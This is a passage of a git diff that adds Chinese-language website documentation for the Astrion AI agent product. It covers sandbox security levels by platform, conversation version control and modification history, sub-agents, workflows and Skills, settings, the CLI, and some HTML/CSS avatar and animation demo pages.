模式下,用户之间的隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。容器**内部**的权限约束同样是真强制: + +- 受限档(readonly/approval/auto_approval)下,run_command、后台命令与持久终端都以**非特权用户(uid 10001)**在容器内执行——工作区属主是 root,写入由内核文件权限直接拒绝,不依赖对命令文本的识别;审批通过后,仅该条命令以 root 身份重试; +- 生效前提:工作区属主为 root、没有全局可写的文件、容器未挂载 docker.sock(按官方部署文档操作即满足); +- 该强制仅在 **Linux 宿主机**上成立——macOS 本机的 Docker Desktop 不执行 uid 文件权限,本机开发时不要把容器内部权限当安全边界; +- 多用户部署时应配合容器资源限制、镜像最小化等常规容器安全实践。 + +## 8. 各平台安全水位 + +再次强调《核心概念》中的结论,因为它直接影响你该信任沙箱到什么程度: + +- **Windows(WSL2)**:可做到完全数据隔离,需先安装 WSL2; +- **macOS(sandbox-exec)**:白名单读模型,写入和读取都可限制——进程默认只能读系统目录、工作区与已授权路径;代价是授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读); +- **Linux(bwrap+seccomp)**:写入可限制,但读侧仍是全局可读、尚未对齐白名单,且**尚未实测**,不要依赖其隔离性。 + +无论哪个平台,沙箱的首要价值是**防误操作**;涉及真正的敏感数据,请叠加路径授权最小化、网络受限、readonly 权限等手段综合防护。 diff --git a/website-content/06-conversation-assets.md b/website-content/06-conversation-assets.md new file mode 100644 index 00000000..04a56185 --- /dev/null +++ b/website-content/06-conversation-assets.md @@ -0,0 +1,68 @@ +# 对话资产管理 + +AI 改了你工作区的文件之后,「改了什么、怎么回滚、坏到哪一版」就是核心问题。Astrion 提供三层资产保障:**版本控制**(对话级检查点)、**修改留痕**(任务级 diff)、**Git 状态栏**(实时感知)。它们相互独立、可叠加使用。 + +--- + +## 1. 版本控制 + +对话级的文件检查点系统,让 AI 的每一轮改动都有快照可回退。 + +### 开关与备份方式 + +- 新对话**默认开启**(个人空间可改默认值); +- 单个对话可在 `+` 菜单 →「版本控制」临时开关; +- 备份方式二选一(个人空间): + - **浅备份(默认)**:只追踪 AI 通过 **write_file / edit_file** 编辑的文件,每次编辑前自动备份当前内容——快、省空间,绝大多数场景够用。⚠️ 注意边界:**AI 用 run_command 执行命令改动的文件(如 sed、重定向、脚本写入)不在浅备份的追踪范围内**; + - **完全备份**:整工作区快照——最稳,但大项目下会明显变慢占空间。 + +### 检查点粒度:每条用户消息 + +- 你**每手动发送一条消息**,系统在该消息处理完成后记录一个检查点,引用当时所有已追踪文件的最新备份版本——也就是说,回溯的最小颗粒度是「一次用户手动发送的消息」,而不是单个文件编辑; +- 查看某个检查点的 diff = 该消息快照与上一条消息快照之间的差异; +- **回滚**到某个检查点 = 把所有已追踪文件恢复到该消息时的状态(覆盖式,回滚前请确认当前改动已另存或已提交)。 + +### 与其他机制的关系 + +- 版本控制追踪的是**文件系统状态**,与对话消息无关; +- 它与 Git 不冲突:AI 不会替你 commit,版本控制是 Git 之外的另一张安全网,适合「还没来得及 commit 就被改坏了」的场景。 + +## 2. 修改留痕(modify history) + +任务级的净修改记录,**默认开启**。 + +- 每完成一轮任务,本轮对话中 AI 编辑过的全部文件以 **unified diff** 形式落盘到:`<工作区>/.astrion/modify_history/<对话ID>/`; +- 每个任务一个 `.diff` 文件,文件名含该任务的用户输入摘要与开始时间; +- 对话中的「编辑摘要卡片」展示本轮编辑过的文件列表,点击可查看 diff;卡片的显示时机可在个人空间配置(默认工作完成后显示,也可改为运行期间实时显示)。 + +### 用 diff 文件手工恢复 + +留痕文件可直接用 git 工具操作: + +```bash +cd <工作区> +git apply # 重做这次修改 +git apply -R # 撤销这次修改 +``` + +典型场景:版本控制没开、Git 没 commit、`git checkout` 误覆盖了 AI 的劳动成果——去 modify_history 里找到对应任务的 diff,`git apply` 即可恢复。 + +> 该目录由系统自动维护,请勿手工增删其中文件;可在个人空间整体关闭(关闭后既不落盘也不注入提示)。 + +## 3. Git 状态栏 + +输入栏上方的状态条,实时显示当前工作区的 Git 状态摘要(当前分支、未提交改动量等),让你在不离开对话的情况下掌握「工作区现在脏不脏、AI 改了多少」。 + +- 默认显示;`+` 菜单 →「Git 状态栏」可快速显隐,个人空间有同款设置项; +- 工作区不是 Git 仓库时不显示。 + +## 4. 三层机制怎么选 + +| 需求 | 用哪层 | +|------|--------| +| 实时感知工作区改动 | Git 状态栏 | +| 回滚到对话中的某个时间点 | 版本控制 | +| 精确恢复/撤销某一轮任务的修改 | 修改留痕 diff | +| 长期、严肃的规模开发 | 仍然要 Git commit——前三级都是安全网,不是版本管理的替代品 | + +推荐姿势:重要项目保持「版本控制开 + 修改留痕开 + 勤 commit」,三张网叠加,AI 怎么折腾都丢不了东西。 diff --git a/website-content/07-agent-capabilities.md b/website-content/07-agent-capabilities.md new file mode 100644 index 00000000..b3675cda --- /dev/null +++ b/website-content/07-agent-capabilities.md @@ -0,0 +1,156 @@ +# 智能体能力 + +Astrion 的智能体能力分五块:**子智能体**(主智能体派出的分身)、**多智能体对话**(一个角色团队)、**工作流**(既定流程模板)、**Skills**(专业技能包)、**MCP**(外部工具接入)。本章讲每块怎么用、怎么配。 + +--- + +## 1. 子智能体 + +### 是什么 + +子智能体是主智能体在**同一进程内**派出的独立执行体:有自己的上下文、自己的模型配置、独立的生命周期。主智能体用它来**并行处理相互独立的任务**——典型场景:同时调研三个技术方案、边跑测试边整理文档。 + +它**不适合**什么:子智能体之间无法通信、看不到主对话历史,所以协作型任务(A 的输出是 B 的输入)应顺序执行或交给一个子智能体完成。代码编写/修改类任务默认由主智能体亲自完成。 + +### 怎么用 + +通常你不需要直接操作——告诉主智能体「同时帮我做 X 和 Y」,它会自己判断拆分成子智能体。两种运行方式: + +- **前台(阻塞)**:主智能体停下来等它完成,适合快任务、后续依赖结果的场景; +- **后台**:主智能体继续干活或与你聊天,子智能体完成后系统自动通知。 + +你可以通过对话区右侧**快捷窗口的「子智能体」窗**实时查看每个子智能体的状态与输出(见《快捷窗口》)。 + +### 生命周期与限制 + +- 状态:`running`(运行中)→ `idle`(空闲,上下文保留,可继续对话)/ 终态(完成/失败/超时/终止); +- 并发上限默认 **5**(`SUB_AGENT_MAX_ACTIVE`); +- 默认超时 **180 秒**,创建时可为单个任务指定更长超时(大规模分析建议 1800 秒以上); +- 产出物约定放在工作区 `sub_agent_results/` 下。 + +### 怎么配(模型库) + +子智能体使用独立模型库 `sub_agent_models.json`,配置方法见《快速上手》第 6 节。创建单个任务时主智能体可指定:模型条目、思考模式、超时、最大轮数等。不配则用 `default_model` 条目。 + +## 2. 多智能体对话 + +### 是什么 + +一种**对话类型**(创建时选定,不可变):主智能体固定为 Team Leader,负责理解你的需求、拆解任务、创建并指挥一组**带角色的子智能体**,汇总它们的产出。 + +### 角色系统 + +预置 5 个角色: + +| 角色 | 职责 | +|------|------| +| Full-Stack Engineer | 前后端代码实现、接口设计、调试联调 | +| UI Operator | 界面操作与视觉验证 | +| Code Reviewer | 代码审查 | +| Researcher | 调研与信息收集 | +| Brainstormer | 头脑风暴与方案发散 | + +角色 = `角色ID + 实例编号`,显示名如 `Full-Stack Engineer_1`,编号按角色内递增。 + +**自定义角色**:个人空间里有角色编辑器(角色列表 → 新建/编辑)。角色定义是一个带元信息的 Markdown 文件: + +```markdown +--- +id: full-stack-engineer # 角色ID +name: Full-Stack Engineer # 显示名 +description: 职责一句话 # Team Leader 据此派活 +model: "" # 指定模型(留空用子智能体模型库默认) +thinking_mode: thinking # fast / thinking +--- + +(正文是该角色的系统提示词:职责、工作原则、约束……) +``` + +### 通信机制(用起来需要知道的) + +- Team Leader 给子智能体发消息有两种:**派活**(不阻塞,继续干别的)和**询问**(阻塞等它回一轮); +- 子智能体之间可以互相请教/回答,但**所有子间通信都会同步汇报给 Team Leader**; +- 子智能体每一轮输出都会实时汇报给 Team Leader 并展示在对话流里,你可以随时插话纠偏。 + +### 什么时候用多智能体 + +适合:一个小型项目需要「写代码的 + 审代码的 + 跑界面的」分工协作;不适合:单线程就能干完的任务(徒增协调开销)。 + +## 3. 工作流 + +### 是什么 + +把一套**既定流程**(阶段、审核点、分支、结束方式)写成 `WORKFLOW.md` 存为模板;激活后,智能体严格按流程逐阶段推进,每个阶段完成后向你或审核智能体汇报,审核通过才进入下一阶段。 + +### 怎么用 + +- 激活:`+` 菜单 →「工作流」,或输入 `/workflow` 选择; +- 推进:每个阶段完成后 AI 自动汇报并进入下一阶段(含审核节点时由审核智能体把关,驳回会带整改意见退回上一阶段); +- 分支:流程到分支点时,AI 给出可选路径菜单让你拍板; +- 退出/查看进度:随时可以让 AI 退出工作流或汇报当前进展; +- 同一对话同时只能激活一个工作流。 + +### 内置工作流 + +| 工作流 | 用途 | +|--------|------| +| bug-fix-triage | 缺陷分诊与修复流程 | +| code-review-pipeline | 代码评审流水线 | +| feature-development | 功能开发全流程 | +| research-report | 调研报告生成流程 | + +### 自定义工作流 + +参照内置工作流的 `WORKFLOW.md` 格式编写,放入工作流库目录即可。建议直接用自然语言让 AI「按 workflow-authoring 技能帮我写一个 xx 流程」——系统内置了编写规范和格式校验,写完自动归档可激活。 + +工作流审核由**工作流审核智能体**(`workflow_review`)执行,配置见下文「审核智能体」。 + +## 4. Skills(技能包) + +### 是什么 + +Skill = 一个文件夹 + 一份 `SKILL.md`(带元信息的技能说明书)。它把「某类任务该怎么做」的经验沉淀下来,AI 遇到匹配场景时先读技能再动手——相当于给 AI 发岗位培训手册。 + +### 内置 Skills(12 个) + +`agent-build-standard`(Agent 架构教学)、`agents-md-writer`(写 AGENTS.md)、`docx`(Word 文档)、`pptx`(PPT)、`frontend-design`(前端设计)、`ui-aesthetic-design`(UI 美学)、`skill-creator`(创建新 Skill)、`workflow-authoring`(写工作流)、`run-command-guide`(命令执行规范)、`terminal-guide`(终端使用规范)、`sub-agent-guide`(子智能体规范)、`mcp-tool-config`(MCP 自助配置)。 + +### 怎么用 + +- 插入引用:输入 `//` 或 `+` 菜单 →「选择 AgentSkill」,把技能引用插进消息; +- 启用/停用:个人空间「工具与 Skills」页管理启用列表; +- **强约束开关**(默认全关):可分别要求「用终端前先读 terminal-guide」「用 run_command 前/后台前先读规范」「派子智能体前先读 sub-agent-guide」——适合新手期防误用,熟练后可关; +- **Skill 提示**(默认关):根据任务动态提示可能相关的技能。 + +### 自定义 Skill + +直接对 AI 说「把今天的流程沉淀成一个 skill」,它会按 `skill-creator` 规范创建、校验并归档,之后即可复用。用户技能存放在工作区 `.astrion/skills/`。 + +## 5. MCP 工具扩展 + +通过 [Model Context Protocol](https://modelcontextprotocol.io) 接入外部工具服务(数据库、浏览器自动化、第三方 SaaS……),接入后 AI 工具列表里会出现 `mcp__服务名__工具名` 形式的新工具。 + +- **配置文件**:`<数据根>/<模式>/data/mcp_servers.json`(可用 `MCP_SERVERS_FILE` 覆盖); +- **总开关**:`MCP_TOOLS_ENABLED`(默认开); +- 协议版本 `2025-06-18`,工具发现/调用默认超时 25 秒; +- **host 模式特色**:你可以直接让 AI「帮我配置 xxx MCP 服务」——内置 `mcp-tool-config` 技能会引导它自己写好配置并生效。 + +## 6. 审核智能体(三个) + +三个在关键节点替你把关的独立 AI,统一在个人空间「审核智能体」页配置,**模型复用子智能体模型库**: + +| 审核智能体 | 介入时机 | +|------------|----------| +| `auto_approval` 自动审批 | `auto_approval` 权限模式下,命令要写沙箱外/触发权限拒绝时自动审批 | +| `goal_review` 目标审核 | 目标模式下,评估每轮工作是否达成目标 | +| `workflow_review` 工作流审核 | 工作流的审核节点,决定放行还是驳回 | + +每个可配:`model`(留空用模型库默认)、`thinking`(思考模式)、`timeout_seconds`、`max_rounds`、`max_command_timeout`。 + +> 经验:审核智能体建议选**便宜但稳定**的模型——它们调用频繁、任务模式固定,没必要上旗舰。 + +## 7. 组合玩法示例 + +- **多智能体 + 工作流**:激活 feature-development 工作流后,Team Leader 按流程指挥角色团队逐阶段交付; +- **子智能体 + Skills**:调研任务前插入 `//frontend-design`,子智能体带着设计规范干活; +- **MCP + 快捷窗口**:浏览器自动化 MCP 跑长任务时,在「后台命令」窗口盯实时进度。 diff --git a/website-content/08-quick-dock.md b/website-content/08-quick-dock.md new file mode 100644 index 00000000..ef581dcf --- /dev/null +++ b/website-content/08-quick-dock.md @@ -0,0 +1,33 @@ +# 快捷窗口(Quick Dock) + +对话区右侧的一列浮动窗口,把「任务进行中产生的可交互产物」集中在一处,不用翻消息流就能盯住全局。 + +--- + +## 1. 五个窗口 + +自上而下依次是: + +| 窗口 | 显示什么 | 典型操作 | +|------|----------|----------| +| **工作流** | 当前激活的工作流:处于哪个阶段、审核状态、待决分支 | 查看流程进展,配合分支选择 | +| **待办** | AI 创建的任务清单(todo):每件事的完成状态 | 看 AI 的执行计划推进到哪一步 | +| **子智能体** | 运行中/空闲的子智能体实例:状态、当前在做什么 | 点详情看输出时间线;⋯ 菜单**强制关闭**失控实例 | +| **后台命令** | 后台运行的命令任务:状态、耗时 | 点详情看完整输出;⋯ 菜单强制关闭 | +| **文件记录** | 本轮任务 AI 编辑/创建过的文件 | ⋯ 菜单:**下载** / **在文件管理器中打开**(host 模式)/ **复制路径** | + +### 详情面板 + +- 点击子智能体/后台命令条目 → 打开**运行器详情面板**:输出与工具调用按真实时间线混排,失控时可强制关闭; +- 点击文件条目 → 打开**文件预览面板**:直接查看文件内容。长行默认横向滚动,个人空间可改为按面板宽度自动换行。 + +## 2. 展开与收起 + +- **有内容时自动展开**(默认):任何一个窗口有内容时,整列自动展开;全空时自动收起为边缘细条,不占地方; +- 个人空间可改为**仅手动展开**(`quick_dock_auto_expand`),或**整体隐藏**(`hide_quick_dock`)。 + +## 3. 使用心法 + +- **盯失控**:子智能体/后台命令行为异常时,不用在对话里喊话,直接 ⋯ → 强制关闭; +- **盯进度**:长任务期间,待办窗 + 子智能体窗就是项目看板; +- **收产物**:任务结束到文件记录窗批量下载或跳目录,比在消息流里翻卡片快得多。 diff --git a/website-content/09-settings.md b/website-content/09-settings.md new file mode 100644 index 00000000..7ef10ab6 --- /dev/null +++ b/website-content/09-settings.md @@ -0,0 +1,154 @@ +# 个人空间设置全解 + +个人空间(输入栏 `+` 菜单 →「个人设置」)共分 12 个标签页(管理员多 1 个)。本章**逐页逐项**说明每个设置的作用、默认值与使用场景——设置页面里一句话说不清的,都在这里讲透。 + +> 约定:「默认」指代码出厂默认值;如果你用过 `setup.sh` 向导,个别默认值可能被向导的选择覆盖。 + +--- + +## 1. 常规 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 自动生成标题 | 开 | 首轮对话后自动生成对话标题。关闭后新对话保持「新对话」占位名,需手动重命名 | + +## 2. 个性化 + +这一页决定「AI 用什么人格与你相处」。 + +| 设置项 | 默认 | 作用与场景 | +|--------|------|------------| +| 启用个性化 | 关 | 本页总开关。关闭时下列配置不注入提示词 | +| AI 自称 | 空 | AI 如何称呼自己(≤20 字),如「小A」 | +| 称呼你 | 空 | AI 如何称呼你(≤20 字) | +| 职业 | 空 | 你的职业(≤20 字)。填了 AI 会按你的背景调整表达深浅——开发者给技术细节,业务人员讲人话 | +| 语气 | 空 | 8 个预设:健谈 / 幽默 / 直言不讳 / 鼓励性 / 诗意 / 企业商务 / 打破常规 / 同理心 | +| 注意事项 | 空 | **最强大的一项**:最多 10 条、每条 2000 字的长期指令,每轮对话都注入。适合写「回答必须用中文」「代码注释用英文」「我是色弱,图表避免红绿配色」这类长期偏好 | +| 交流风格 | 标准 | 标准 AI 风格 / 拟人聊天风格 / 自动(按场景切换) | +| 对话连续性 | 中 | 高:主动回顾历史对话与记忆;中:平衡;低:每轮对话尽量独立。**开了「最近对话提示」却觉得 AI 总是答非所问地提旧事,就把这里调低** | + +## 3. 模型与思考 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 默认模型 | 模型库第一个可见项 | 新对话默认使用的模型,可选库中任意已注册模型 | +| 默认思考模式 | 思考 | fast / thinking。思考模式质量更高,快速模式响应更快 | +| 默认推理强度 | 默认(不传参) | 默认 / 低 / 中 / 高;需模型开启 `reasoning_effort` 才生效 | + +> 这里的「默认」都只影响**新建对话**;已有对话用输入栏的切换器单独调。 + +## 4. 外观与显示 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 主题配色 | 经典 | 经典(暖奶油+暖橙)/ 明亮(冷白+近黑)/ 夜间(中性灰阶) | +| 消息流显示模式 | 堆叠动画 | 传统列表 / 堆叠动画 / 极简模式;极简模式另有「展开时限制最大高度」开关(默认开) | +| 简略消息显示 | 完整信息 | 完整原始内容 / 一行概要 | +| 堆叠块隐藏边线 | 关 | 堆叠模式下隐藏块间边线,更素净 | +| 显示助手状态形象 | 开 | 对话区的状态头像(可以戳,有彩蛋) | +| 显示 Git 状态栏 | 开 | 输入栏上方的 Git 状态条 | +| 显示自定义称呼 | 开 | 在界面中显示你设置的自称/称呼 | +| 增强工具显示 | 开 | 工具结果结构化渲染;关掉则更接近原始输出 | +| 自动打开终端面板 | — | 终端任务时自动展开实时终端面板 | +| 快捷窗口自动展开 | 开 | Quick Dock 有内容时自动展开;关闭则只能手动点开 | +| 隐藏快捷窗口 | 关 | 整体关闭 Quick Dock | +| 编辑摘要实时显示 | 关 | 开:AI 边改边显示编辑摘要卡片;关:一轮工作完成后统一显示 | +| 文件预览自动换行 | 关 | 开:预览面板按宽度换行;关:长行横向滚动 | +| 侧边栏按工作区分组 | 关 | 对话列表按工作区/项目分组;分组模式支持工作区置顶与排序 | +| 新建对话按钮行为 | 跳转空白页 | route:跳到空白新对话页 / blank:立即创建空对话 | + +## 5. 工作区与权限 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 默认权限模式 | 无限制 | 新终端的初始权限模式。**强烈建议改为「批准」**,四档行为见《核心概念》 | +| 默认运行模式 | 计划 | 新终端的初始运行模式:计划 / 询问 / 执行 | +| 默认隐藏工作区 | 关 | 界面中默认收起工作区信息 | +| AGENTS.md 自动注入 | 关 | 开:每轮对话自动携带项目根 AGENTS.md,AI 始终带着项目规范干活。长期项目建议开 | +| 修改留痕 | 开 | 每轮任务结束后把净修改 diff 落盘到 `.astrion/modify_history/`。关闭后既不落盘也不注入提示 | +| 新对话默认开启版本控制 | 开 | 建议保持开启,这是文件安全网 | +| 版本控制备份方式 | 浅备份 | 浅备份:只备份 AI 编辑的文件;完全备份:整工作区快照(大项目慎用) | +| 目标审核模式 | 仅读对话 | 目标模式的审核方式:readonly 只读对话判断 / active 允许审核智能体跑只读命令取证 | +| 目标最大轮数 | 有默认值 | 目标模式自动续轮上限 | +| 目标 token 上限 | 不启用 | 累计输入+输出 token 达到即停(1k–100M)。注意是工作区级近似统计 | + +## 6. 上下文 + +这一页是长对话质量的关键,**改动前建议先读《输入与上下文》第 4 节**。 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 最近对话提示 | 关 | 开:新对话自动注入最近 N 条历史对话摘要 | +| 最近对话数量 | 10 | 上面那项的 N,1–30 | +| 项目记忆索引上限 | 20 条 | 项目记忆索引最多注入条数(≥5,可设无上限) | +| 自动浅压缩 | 关 | ⚠️ **会破坏上下文缓存**,见《输入与上下文》。不推荐开 | +| 浅压缩触发 token | 80000 | 自定义时**至少为模型实际可用上下文的 80%** | +| 浅压缩保留最近工具数 | 15 | 最近 N 个工具结果不压 | +| 浅压缩保留用户轮次工具 | 3 | 最近 N 次用户输入之后的工具不压 | +| 浅压缩每轮最多替换 | 10 | 单次压缩最多替换多少个工具结果 | +| 浅压缩工具调用间隔 | 10 | 每 N 次工具调用检查一次是否触发 | +| 自动深压缩 | 开 | 推荐保持开启 | +| 深压缩触发 token | 150000 | 同样遵守 80% 规则 | +| 深压缩产物形式 | 生成文件 | file:总结写入文件随取随用(推荐)/ inject:直接注入总结全文 | + +## 7. 工具与 Skills + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 静默禁用工具 | 开 | 禁用某工具时不向模型插入提示,上下文更干净 | +| 隐藏工具审批面板 | 开 | auto_approval 模式下不自动弹出审批面板打扰你;关则有审批即弹 | +| 工具意图说明 | 开 | 工具调用卡片上显示「要做什么」的简述;关掉可让消息流更紧凑 | +| Skill 提示 | 关 | 根据当前任务动态提示可能相关的 Skill | +| 强约束:终端 | 关 | 开:AI 使用终端工具前必须先读 terminal-guide 规范 | +| 强约束:子智能体 | 关 | 开:派子智能体前必须先读 sub-agent-guide | +| 强约束:前台命令 | 关 | 开:run_command 前台模式前必须先读规范 | +| 强约束:后台命令 | 关 | 开:run_command 后台模式前必须先读规范 | +| 启用 Skills 列表 | 全部 | 勾选哪些 Skill 可被使用 | +| 禁用工具类别 | 无 | 按类别整体禁用工具(如禁用网页搜索类) | + +四个「强约束」是新手护栏:强迫 AI 在用高危工具前先读使用规范,显著降低误操作率;熟练后关掉可省 token。 + +## 8. 文件与图片 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 图片压缩档位 | 原图 | 原图 / 1080p / 720p / 540p。长对话多发大图建议降档省上下文 | + +## 9. 数据管理 + +只读的**用量统计**页:累计输入/输出 token、总对话数、用户消息数、工具调用次数,支持手动刷新。用来回答「我这个月烧了多少 token」。 + +## 10. 语音模型 + +端侧语音识别模型(SenseVoice int8)的下载管理:约 228MB,**仅在手机本地运行、无需网络**,支持中英混说与自动标点。页面显示下载状态(未下载/下载中百分比/已下载/下载不完整),可重新下载或删除。此功能面向 Android 客户端。 + +## 11. 子智能体 + +多智能体**角色编辑器**:角色列表、新建角色、编辑角色。角色的字段与写法见《智能体能力》第 2 节。预置 5 个角色可查看参考,自定义角色随改随用。 + +## 12. 审核智能体 + +三个审核智能体(自动审批 / 目标审核 / 工作流审核)的统一配置页,各自可配: + +| 字段 | 说明 | +|------|------| +| 模型 | 子智能体模型库中的条目名;**留空 = 用模型库 `default_model`** | +| 思考模式 | fast / thinking | +| 超时时间 | 单次审核的最长等待 | +| 最大轮数 | 审核智能体自身的工作轮数上限 | +| 命令超时 | 审核中执行核查命令的单条超时 | + +配置建议:审核任务模式固定、调用频繁,选便宜稳定的模型即可,不必用旗舰。 + +## 13. 管理员(仅管理员可见) + +管理员专属页:用户与策略管理(`admin/` 相关界面)。普通用户看不到此页。 + +--- + +## 附:设置生效机制 + +- 所有设置存储在数据目录的 `personalization.json`,按用户隔离; +- 「默认 XX」类设置只影响新建对象(新对话/新终端),不改已有的; +- 显示类设置(主题、显示模式等)即时生效; +- 涉及提示词注入的设置(个性化、注意事项、AGENTS.md 注入等)从下一轮对话开始生效。 diff --git a/website-content/10-cli.md b/website-content/10-cli.md new file mode 100644 index 00000000..1545334f --- /dev/null +++ b/website-content/10-cli.md @@ -0,0 +1,36 @@ +# CLI(开发中) + +> ⚠️ CLI 目前处于**重写中的开发状态**,功能与稳定性以 Web 端为准,本文仅介绍当前形态,所列行为后续可能变化。 + +--- + +## 1. 是什么 + +一个终端里的对话客户端:**React 19 + Ink 6 + TypeScript** 实现的 TUI,让你不打开浏览器也能与 Astrion 对话。 + +关键点:CLI **不是独立的 Agent 运行时**——它连接的是你本地正在运行的 Astrion Web 服务(默认 `127.0.0.1:8091`),所有对话、工具执行、权限控制都走后端,CLI 只是一个更轻的交互界面。 + +## 2. 启动 + +```bash +npm --prefix cli install # 首次安装依赖 +npm run cli # 启动,自动连接本地 8091 服务 +``` + +启动后会清屏、连接本地服务、创建新会话,输入区固定在底部。若当前目录不在任何已授权工作区中,会先询问是否添加为工作区。 + +## 3. 当前能力与边界 + +- 基础对话、流式输出、工具调用展示; +- `/` 指令体系(设计中,详见仓库 `docs/cli_slash_commands_spec.md`); +- 思考内容默认折叠,只显示「思考中 / 思考完成」; +- 多模态、快捷窗口、版本控制等 Web 端能力在 CLI 中**尚未对齐**——需要完整功能时请用 Web 端。 + +## 4. 面向开发者 + +```bash +npm run cli:typecheck # 类型检查 +npm run cli:build # 构建(产物提供 agents / agents-cli 命令) +``` + +CLI 代码在 `cli/src/`(`App.tsx`、`components.tsx`、`eventMapper.ts`、`api.ts`),欢迎贡献。 diff --git a/website-content/README.md b/website-content/README.md new file mode 100644 index 00000000..67e68149 --- /dev/null +++ b/website-content/README.md @@ -0,0 +1,31 @@ +# Astrion 官网文档(中文版文案) + +本目录是 Astrion 官网的**中文文案底稿**,后续将迁入独立仓库并据此设计官网。 + +## 章节地图 + +| 文件 | 章节 | 读者 | +|------|------|------| +| `01-quick-start.md` | 快速上手:安装、端口、数据路径、模型与子智能体模型配置、host/docker 选择 | 新用户 | +| `02-core-concepts.md` | 核心概念:部署/权限/执行环境/运行模式四组正交概念,各平台沙箱安全水位 | 所有人(最重要的一章) | +| `03-conversations.md` | 对话:对话类型、思考模式与推理强度、目标模式(Beta)、对话面板、对话管理 | 用户 | +| `04-input-context.md` | 输入与上下文:`+` 菜单全项、`/` 斜杠菜单、`@` 引用、压缩机制与 80% 规则 | 用户 | +| `05-execution-security.md` | 执行与安全:两段式执行、路径授权、网络权限、审批、direct 忠告 | 用户/管理员 | +| `06-conversation-assets.md` | 对话资产管理:版本控制、修改留痕、Git 状态栏 | 用户 | +| `07-agent-capabilities.md` | 智能体能力:子智能体、多智能体、工作流、Skills、MCP、审核智能体 | 进阶用户 | +| `08-quick-dock.md` | 快捷窗口:五个窗口的用法与操作 | 用户 | +| `09-settings.md` | 个人空间设置全解:12 个标签页逐项说明 | 用户(工具书式查阅) | +| `10-cli.md` | CLI(开发中):形态、启动、当前边界 | 用户/开发者 | + +## 写作约定 + +- 全部功能描述**以代码事实为准**(文件:行号级核实),不以界面描述文案为准; +- 安全性内容如实标注(macOS 全局可读、Linux 沙箱未实测、Windows WSL2 可完全隔离); +- Beta/开发中功能明确标注; +- 每个设置项都给出「默认值 + 作用 + 什么场景要改」。 + +## 待补充(设计官网阶段) + +- 开发者文档线(架构/消息管线/多智能体内部机制等,以 AGENTS.md 为底重组) +- 首页 landing 文案与截图 +- 截图与演示素材(需运行实例采集) diff --git a/website-design/assets/product-main-classic.png b/website-design/assets/product-main-classic.png new file mode 100644 index 00000000..f8290d25 Binary files /dev/null and b/website-design/assets/product-main-classic.png differ diff --git a/website-design/assets/product-main.png b/website-design/assets/product-main.png new file mode 100644 index 00000000..7016c2fb Binary files /dev/null and b/website-design/assets/product-main.png differ diff --git a/website-design/avatar-demo/index.html b/website-design/avatar-demo/index.html new file mode 100644 index 00000000..3a646f74 --- /dev/null +++ b/website-design/avatar-demo/index.html @@ -0,0 +1,76 @@ + + + + + + Astrion 形象组件 · 验收 + + + + +
+

形象组件验收

+

参数 1:1 还原产品 StatusAvatar.vue:viewBox 200 · 外框 12 · 眼睛 10 · currentColor。移动鼠标看追踪,等几秒看眨眼。

+
+ +
+
+
+
+ idle · 活 + 随机眨眼(2.2–4.8s)· 眼睛追踪鼠标方向 +
+
+
+
+
+ think + 三个波浪圆点(产品思考态原样) +
+
+
+ +
+
+
+
+ 深色底 + 颜色 = currentColor,跟随文字色,不需要任何适配代码 +
+
+
+
+
+ think + 同一组件,零改动 +
+
+
+ +
+

尺寸序列

+
+
16
+
24
+
32
+
48
+
64
+
96
+
+
+ + + + + diff --git a/website-design/avatar-demo/style.css b/website-design/avatar-demo/style.css new file mode 100644 index 00000000..ce94f6e1 --- /dev/null +++ b/website-design/avatar-demo/style.css @@ -0,0 +1,106 @@ +/* 形象验收 demo —— 刻意无装饰,只验证组件本身 */ + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: -apple-system, "PingFang SC", "Noto Sans SC", sans-serif; + background: #faf9f5; + color: #1f1c17; +} + +.page-head { + max-width: 760px; + margin: 0 auto; + padding: 48px 24px 8px; +} + +.page-head h1 { + font-size: 20px; + font-weight: 600; + margin-bottom: 8px; +} + +.page-head p { + font-size: 13px; + line-height: 1.8; + color: #6b655a; +} + +.panel { + max-width: 760px; + margin: 24px auto; + padding: 40px 24px; + border-radius: 12px; +} + +.panel--light { + background: #ffffff; + border: 1px solid #e8e2d5; + color: #1f1c17; +} + +.panel--dark { + background: #14161b; + color: #e8e6e1; +} + +.panel h2 { + font-size: 13px; + font-weight: 600; + color: inherit; + opacity: 0.5; + margin-bottom: 20px; +} + +.live-row { + display: flex; + align-items: center; + gap: 32px; +} + +.live-row + .live-row { + margin-top: 32px; + padding-top: 32px; + border-top: 1px solid currentColor; +} + +.live-avatar { + flex-shrink: 0; + width: 160px; + height: 160px; +} + +.live-note { + display: flex; + flex-direction: column; + gap: 6px; +} + +.live-note strong { + font-size: 15px; + font-weight: 600; +} + +.live-note span { + font-size: 13px; + opacity: 0.55; +} + +.size-row { + display: flex; + align-items: flex-end; + gap: 40px; +} + +.size-cell { + display: flex; + flex-direction: column; + align-items: center; + gap: 10px; +} + +.size-cell span { + font-size: 11px; + font-family: ui-monospace, monospace; + opacity: 0.45; +} diff --git a/website-design/exp/anim-demo.html b/website-design/exp/anim-demo.html new file mode 100644 index 00000000..88e50a73 --- /dev/null +++ b/website-design/exp/anim-demo.html @@ -0,0 +1,20 @@ + + + + + +运行模式动画 demo + + + + + +
+

点击顶部标签切换模式;再次点击当前标签重播。

+
+
+ + + + + diff --git a/website-design/exp/anim2-demo.html b/website-design/exp/anim2-demo.html new file mode 100644 index 00000000..0d2acde2 --- /dev/null +++ b/website-design/exp/anim2-demo.html @@ -0,0 +1,49 @@ + + + + + +沙箱与网络授权动画 demo + + + + + + +
+

自动无限循环播放:每轮随机 20 条(15 短 + 5 长),弹道随机。

+
+
+ + + + + + diff --git a/website-design/exp/anim3-demo.html b/website-design/exp/anim3-demo.html new file mode 100644 index 00000000..189fe646 --- /dev/null +++ b/website-design/exp/anim3-demo.html @@ -0,0 +1,22 @@ + + + + + +修改记录动画 demo + + + + + + +
+

自动播放;收盒后自动轮播,按下卡片暂停 5 秒。

+
+
